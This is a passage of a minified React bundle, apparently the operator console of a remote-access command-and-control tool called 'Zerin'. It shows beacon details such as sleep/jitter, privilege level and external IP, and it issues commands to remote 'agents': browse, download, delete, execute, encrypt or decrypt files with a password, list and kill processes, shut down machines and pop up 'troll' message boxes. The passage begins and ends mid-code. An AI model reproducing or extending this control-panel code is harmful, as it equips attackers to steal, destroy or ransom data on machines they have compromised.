Details",children:v&&s.jsx(wU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async A=>{const se=v.tags??[];n(te=>te.map(de=>de.id===v.id?{...de,tags:A}:de)),b(te=>te&&{...te,tags:A});try{await _E(v.id,A)}catch{n(te=>te.map(de=>de.id===v.id?{...de,tags:se}:de)),b(te=>te&&{...te,tags:se}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:A=>A.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ce(k.agentId,{command:k.command}).catch(A=>{o(`Failed to submit task: ${A instanceof Error?A.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:A=>A.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:O,onChange:A=>_(A.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:T,onChange:A=>P(A.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{T.trim()&&Ce(N.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(A=>{o(`Failed to submit task: ${A instanceof Error?A.message:"unknown error"}`)}),z(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function Vl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function bU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function wU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(nd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(fn,{label:"Hostname",value:e.hostname}),s.jsx(fn,{label:"Username",value:e.username}),s.jsx(fn,{label:"OS",value:jo(e.os)}),s.jsx(fn,{label:"Architecture",value:e.arch}),s.jsx(fn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(fn,{label:"Integrity",value:e.integrity}),s.jsx(fn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(fn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(fn,{label:"Sleep / Jitter",value:u5(e.sleep_interval,e.jitter),mono:!0}),s.jsx(fn,{label:"Agent ID",value:Ws(e.id),mono:!0}),s.jsx(fn,{label:"First Seen",value:wo(e.first_seen)}),s.jsx(fn,{label:"Last Seen",value:Bc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(mU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function fn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const jU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},kU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},NU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function SU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${jU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${NU[a.type]} select-none`,children:kU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function zU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),O=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=re=>{re.button!==2&&z.current&&!z.current.contains(re.target)&&h(null)},G=re=>{re.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",G),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",G)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=O.current)==null?void 0:H.focus()},50)},[y]);const _=p.useCallback(H=>new Promise((G,re)=>{let oe=0;const he=30,pe=setInterval(async()=>{var Y;oe++;try{const C=(Y=(await Rn(e)).results)==null?void 0:Y.find(E=>E.task_id===H);C?(clearInterval(pe),C.error?re(new Error(C.error)):G({output:C.output,data:C.data})):oe>=he&&(clearInterval(pe),re(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:G}=await Ce(e,{command:"ls",args:[H]});r(H),f(!0);let re=0;const oe=30;N.current=setInterval(async()=>{var he;re++;try{const Y=(he=(await Rn(e)).results)==null?void 0:he.find(ee=>ee.task_id===G);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(` +`).slice(2),C=[];for(const E of ee){if(E.length<35)continue;const X=E.substring(0,12).trim(),I=E.substring(13,33).trim();let ne=E.substring(34).trim();if(!ne||ne==="."||ne==="..")continue;const me=X==="";(ne.endsWith("/")||ne.endsWith("\\"))&&(ne=ne.slice(0,-1)),C.push({name:ne,isDir:me,size:me?void 0:X,modified:I})}a(C)}}else re>=oe&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(G){u(G instanceof Error?G.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const G=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+G+H.name},R=H=>{k(H),setTimeout(()=>k(""),5e3)},V=async H=>{h(null),g("download"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"download",args:[G]}),oe=await _(re);if(oe.data){let he;try{he=atob(oe.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const pe=new Uint8Array(he.length);for(let E=0;E{h(null),g("delete"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"delete",args:[G]});await _(re),R(`Deleted ${H.name}`),T(n)}catch(G){u(G instanceof Error?G.message:"Delete failed")}finally{g(null)}},L=async(H,G,re)=>{v(null),w(""),g(H),u(""),k("");try{const oe=P(G),{task_id:he}=await Ce(e,{command:H,args:[oe,re]}),pe=await _(he);R(pe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${G.name}`),T(n)}catch(oe){u(oe instanceof Error?oe.message:`${H} failed`)}finally{g(null)}},W=async H=>{h(null),g("execute"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"execute",args:[G]}),oe=await _(re);R(oe.output||`Executed ${H.name}`)}catch(G){u(G instanceof Error?G.message:"Execute failed")}finally{g(null)}},B=(H,G)=>{H.preventDefault(),H.stopPropagation();const re=180,oe=220;let he=H.clientX,pe=H.clientY;he+re>window.innerWidth&&(he=window.innerWidth-re-8),pe+oe>window.innerHeight&&(pe=window.innerHeight-oe-8),h({x:Math.max(4,he),y:Math.max(4,pe),entry:G})},U=()=>{!y||!b.trim()||L(y.action,y.entry,b)},F=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),F.map((H,G)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const re=F.slice(0,G+1).join("\\")+"\\";T(re)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},G))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>T(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const G=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+G+H.name)}},onContextMenu:G=>B(G,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>V(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>W(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>$(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:O,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&U(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:U,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function CU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ce(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var O;N++;try{const T=(O=(await Rn(e)).results)==null?void 0:O.find(P=>P.task_id===S);if(T){if(v.current&&clearInterval(v.current),v.current=null,a(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` +`).filter(L=>L.trim()),R=[];for(const L of P){const W=L.trim().split(/\s+/);if(W.length>=2){const B=parseInt(W[0],10);if(!isNaN(B)){const U=W.length>=3?parseInt(W[1],10):0,F=!isNaN(U)&&W.length>=3,H=F?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),G=F&&W.length>=4?W[2]:void 0;R.push({pid:B,ppid:F?U:0,name:H,user:G,children:[]})}}}const V=new Map;R.forEach(L=>V.set(L.pid,L));const $=[];for(const L of R){const W=V.get(L.ppid);W&&W!==L?W.children.push(L):$.push(L)}r($.length>0?$:R.map(L=>({...L,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(O=>{const _=O.name.toLowerCase().includes(z)||String(O.pid).includes(z),T=w(O.children,N).length>0;return _||T})},j=p.useCallback(async S=>{h(S),g(null);try{await Ce(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(D3,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function 